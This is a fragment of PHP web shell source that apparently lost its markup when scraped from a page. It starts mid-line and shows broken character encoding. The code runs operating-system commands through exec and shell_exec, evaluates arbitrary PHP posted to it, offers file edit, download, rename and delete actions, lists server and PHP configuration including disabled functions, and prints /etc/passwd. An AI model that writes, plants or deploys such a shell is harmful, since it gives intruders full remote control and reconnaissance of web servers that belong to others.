&1', $o); $cmd_out = implode("\n", $o); } elseif(function_exists('shell_exec')) { $cmd_out = shell_exec($cmd . ' 2>&1'); } } // ============ PHP EXEC ============ $php_out = ''; if($act == 'php' && isset($_POST['code'])) { ob_start(); eval($_POST['code']); $php_out = ob_get_clean(); } function fsize($b) { if($b >= 1073741824) return round($b/1073741824,2).' GB'; if($b >= 1048576) return round($b/1048576,2).' MB'; if($b >= 1024) return round($b/1024,2).' KB'; return $b.' B'; } function fperm($f) { if(!file_exists($f)) return '---'; $p = fileperms($f); $r = ''; $r .= ($p & 0x0100) ? 'r' : '-'; $r .= ($p & 0x0080) ? 'w' : '-'; $r .= ($p & 0x0040) ? 'x' : '-'; $r .= ($p & 0x0020) ? 'r' : '-'; $r .= ($p & 0x0010) ? 'w' : '-'; $r .= ($p & 0x0008) ? 'x' : '-'; $r .= ($p & 0x0004) ? 'r' : '-'; $r .= ($p & 0x0002) ? 'w' : '-'; $r .= ($p & 0x0001) ? 'x' : '-'; return $r; } ?>
| Name | Size | Actions |
|---|---|---|
| đ =htmlspecialchars($f)?> đ =htmlspecialchars($f)?> | =$size?> | âī¸ Edit đĨ Download âī¸ Rename đī¸ Delete |
=htmlspecialchars($cmd_out)?>
=htmlspecialchars($php_out)?>
| OS | =php_uname()?> |
| PHP Version | =phpversion()?> |
| Server | =$_SERVER['SERVER_SOFTWARE'] ?? 'Unknown'?> |
| User | =get_current_user()?> |
| Safe Mode | =ini_get('safe_mode') ? 'ON' : 'OFF'?> |
| Disabled Functions | =ini_get('disable_functions') ?: 'none'?> |
=htmlspecialchars(file_get_contents('/etc/passwd'))?>